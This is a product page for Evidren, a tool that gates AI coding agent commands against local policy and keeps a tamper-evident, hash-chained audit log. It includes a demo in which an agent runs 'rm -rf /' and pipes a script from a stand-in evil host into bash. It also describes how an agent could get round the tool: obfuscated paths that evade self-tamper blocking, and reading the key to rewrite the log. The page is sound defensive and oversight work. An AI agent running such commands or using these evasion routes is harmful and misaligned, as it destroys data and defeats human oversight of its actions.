A log you can hand to someone who doesn't trust you.
Evidren runs on the developer's machine. It evaluates the agent actions it intercepts against a local policy, and writes its decisions to an append only file, chained line to line by sha256.
Three questions this page answers. Start with yours.
- A client has asked what our AI tools did in their code. How an outsider checks the Evidence Pack
- We are about to approve a tool that runs commands on developers' machines. The eleven risks, one by one and what each level of access buys an attacker
- We need to know what this cannot do before we trust it. What Evidren never sees and what the pack cannot prove
Evidren has no certification, no conformity claim for any framework and no third party audit. To buy Evidren for a team, or to ask a security question, write to erik@evidren.com.
Eleven risks, and what happens to each one today.
What Evidren does about each risk, and the command that reproduces it.
| Risk | What Evidren does today | Check it | Status |
|---|---|---|---|
| Destructive commands |
Deny. 26 command-risk rules cover recursive
deletes such as rm -rf /, dd to block devices,
mkfs and more.
| node scripts/adversarial-command-risk.mjs | shipped |
| A remote script piped straight into a shell |
Deny. Policy rule no-remote-pipe-shell, with detector variants for
process substitution and for eval of a download.
| evidren policy | shipped |
| Download first, execute later |
Ask. Rule staged-remote-exec requires approval when a command
executes the file it downloaded. All five corpus variants ask.
| node scripts/adversarial-command-risk.mjs | shipped |
| Hallucinated or held packages, the slopsquatting surface | Deny online, for a package that does not exist or is on security hold. Lookalikes ask. Offline, only the lookalike heuristic runs. | node scripts/gate-m2.mjs | partial |
| Secrets leaking into files, results or MCP calls | Redact. 11 named credential patterns plus an entropy heuristic. Recognised secrets are stored as HMAC references, never as plaintext. | node scripts/gate-m1.mjs | shipped |
| MCP tool poisoning and definition drift |
Gateway, after evidren gateway config; without it, MCP traffic is not seen.
Tool definitions are pinned by sha256, and drift is flagged.
| node packages/mcp-gateway/gate-m3.mjs | partial |
| Prompt injection through tool results, and outbound PII | Gateway, same step. Results are scanned and rebuilt before they reach the model; outbound arguments are scanned for secrets and PII. | node packages/mcp-gateway/gate-m3.mjs | partial |
| The agent covering its tracks |
Deny. evidren-self-tamper blocks all seven corpus disarm commands;
an obfuscated path evades. Edits to the record:
the compromise matrix.
| node scripts/adversarial-command-risk.mjs | shipped |
| What did Evidren see the agent do? |
One chained line per decision, allows included. evidren log browses
it, evidren evidence exports it, and the
browser verifier rechecks a pack.
| evidren log | shipped |
| Reverse shells, credential exfiltration, persistence, history clearing | No shipped rule. Proposed rules are measured in shadow only; none is signed off, and none is in force. | evidren shadow | open |
| Omission |
A call outside the covered surface leaves no line. evidren init
records the boundary in the chain; detecting an omission is not solved.
| evidren status | open |
Fig. 2: shipped means in force in the default build. Partial means a condition applies, stated in the row. Open means nothing ships today.
Watch an auditor check it without you in the room.
The built product exports a pack, an outside party rechecks it with shasum
and python3 alone, and the same check catches one flipped verdict in a
copy. What each file holds, and
a verifier in your browser.
demo/evidence-run.ansi ┌─ Evidren — the Evidence Pack ─────────────────────────────────┐ │ Hand your record to someone who does not trust you. │ └──────────────────────────────── real run · commit e6b53e2 ─┘ 1 · An agent works for a while. Every checked action is recorded. agent$ npm ci agent$ npm run build agent$ rm -rf / agent$ git status agent$ curl -sL https://get.evil.sh | bash agent$ npm test → 8 lines recorded, allowed and denied alike 2 · Export the pack — this is what you hand over $ evidren evidence --out ./pack evidence pack written: /tmp/evidren-eviD-Jz18zm/pack audit.jsonl 4393 bytes c423552dd750931a… chain-head.json 161 bytes 1855dce31101ab43… policy.json 925 bytes ba86c55fa383b0b2… summary.json 427 bytes 3ad0bcb816e17d20… shadow-report.json 199 bytes 4b86e257fc7734c0… manifest.json sha256: 96343b42ac1db4c088ffec9c12077c6c2575fb48fbf594dcf1401f73fef1ebfc ^ record this out-of-band; it fixes the pack contents at export time chain VERIFIED at export (7 decisions, 1 events) Read VERIFY.md in the pack: it explains how a third party re-checks # The redaction key is NOT in the pack. Nothing secret leaves the machine. 3 · Now the auditor checks it — with no Evidren installed # Only shasum and python3. They do not have to trust your machine, or you. auditor$ while read -r line; do # re-link every hash in the chain ✓ 8 of 8 lines re-link. The chain is intact. ✓ the sealed head matches the last line — nothing was cut off after the last seal. 4 · Someone quietly edits the handed-over pack # Flip one recorded 'deny' to 'allow' — hide that the agent was ever stopped. auditor$ evidren verify --pack . (or the same shasum loop — either finds it) evidence pack FAILED (/tmp/evidren-eviD-Jz18zm/pack): - audit.jsonl: digest mismatch (pack file was modified) - audit.jsonl: chain breaks at line 2 ✗ the edit is caught twice over: the file digest AND the chain link. ┌──────────────────────────────────────────────────────────────┐ │ A log you can alter is testimony. │ │ A log anyone can re-check is evidence. │ └──────────────────────────────────────────────────────────────┘ With its fingerprint checked against the one sent apart, the pack proves it was not altered after export. It cannot prove the record was not cut or rewritten before it — that needs a remote anchor, and it is roadmap, not shipped. · commit e6b53e2
What the Evidence Pack cannot prove.
The pack states both limits itself, in VERIFY.md and in its manifest.
It cannot prove that nothing was destroyed before export.
The tail seal is an HMAC under this install's redaction key, which never leaves the
machine, so it cannot be checked from the pack, as the manifest's
"d18HmacTailSeal": false says. The record is tamper evident, not tamper proof:
what an attacker can erase.
It cannot prove that it contains everything the agent did.
It contains what was routed through Evidren. An action on an uncovered surface, with no hook, or while the hook was failing open was never recorded; absence of an entry is not evidence that it did not happen.
policy.json is the policy as resolved at export, not per decision: lines
carry a rule id but no policy version, so a policy changed during the period is not in
the pack in its earlier form. VERIFY.md has no manifest digest; the five
content files do.
What each level of access buys an attacker.
The bound on every integrity claim above, written from the attacker's side, least severe first.
| An attacker who can… | …can do this | …and this remains detectable |
|---|---|---|
Commit .evidren.yaml in a repo your agent opens |
Add rules that tighten, nothing else. It may not set
defaults.onUnmatched, redefine a rule, or neutralise a
deny or redact rule.
|
Each rejected attempt is recorded as a config-trust-violation line,
with the reason.
|
Write $EVIDREN_HOME/config.yaml | Anything. The user layer is trusted: it can change the unmatched posture and disable or redefine any rule, every deny included. |
Through a covered surface, evidren-self-tamper blocks it, matching
the path as text, so an obfuscated path evades. A write elsewhere is not seen.
|
Edit a line in audit.jsonl | Change what the record says. | evidren verify fails with prev-hash-mismatch at the line
after the edit. In a pack, the manifest digest fails as well. |
Truncate the tail of audit.jsonl | Remove the most recent lines. Linkage alone would still pass: every prefix of a valid chain is a valid chain. |
The seal catches it: chain-head-mismatch (tail truncated or replaced). |
Delete chain-head.json | Remove the seal. | evidren verify fails loudly with chain-head-missing.
|
Read $EVIDREN_HOME/redaction.key |
Recompute the chain key, rewrite the record end to end, and reseal it.
evidren verify then passes.
| Nothing. The key is a file at mode 0600, readable by the user the agent runs as. This bounds the entire cryptographic claim. |
| Delete the record, the seal and the key together | Erase the history, and the key that seals it. |
Not locally. Deleting only the record and the seal fails loudly:
chain-head-missing-on-initialized-home. Taking the key as well leaves
a home that looks never initialized.
|
Delete or edit .claude/settings.json | Uninstall the hook. Everything after that is unseen and unrecorded. |
Deleting it through a covered surface is blocked by
evidren-self-tamper. An edit outside a covered surface is unseen.
|
| Run as root, or open a shell Evidren never sees | All of the above at once. | Nothing. Evidren is a user space process, not an endpoint agent, and claims no administrative boundary. |
Designed to support evidence requirements. Nothing beyond that is claimed.
ISO/IEC 42001 and the EU AI Act are named here only as context. Evidren does not satisfy either, is not certified against either, and this page will not tell you where you stand against either.
A pack holds facts about what happened on one machine. Whether any of them serves a control in your framework is a judgement that needs an auditor, and a test in the repository fails if a conformity claim ever appears in the pack.
Your job, and what is nobody's job.
Your job
Run evidren verify on a schedule: the chain is checked only when someone
checks it. Keep $EVIDREN_HOME on a local disk. Treat
$EVIDREN_HOME/config.yaml as a privileged file, because the trusted layer can
disable any rule. Export packs and record each manifest sha256 out of band, because a
hash held only on the machine it attests is worth nothing. Decide what
onUnmatched should be for your environment, having read
the limits. Manage the record's growth,
since Evidren does not.
Nobody's job, because it is out of scope
Anything that needs an administrative boundary. Self defence stops an agent's disarm attempt on a covered surface, not the human at the keyboard: against a developer who wants Evidren gone, it only keeps on record what they did before it stopped, provided the chain survives.
Questions we expect, answered before you ask.
- Does anything leave the machine?
- Telemetry is off by default, with no endpoint and a stub transport, so nothing can be transmitted today. The one outbound request in normal operation is the registry lookup made when a package install is evaluated online.
- How long is the record kept, and can we forward it to a SIEM?
- Indefinitely, and no. It is one append only file per machine, and yours to manage.
- Can a developer just turn it off?
- Outside a covered surface, yes, in one command, and Evidren does not see it. Through a covered surface, the disarm commands are blocked; see the compromise matrix. Evidren is a developer tool that leaves a receipt, not an enforcement agent.
To check a claim on this page against a file or a command, start at the claim map. To buy Evidren for a team, write to erik@evidren.com.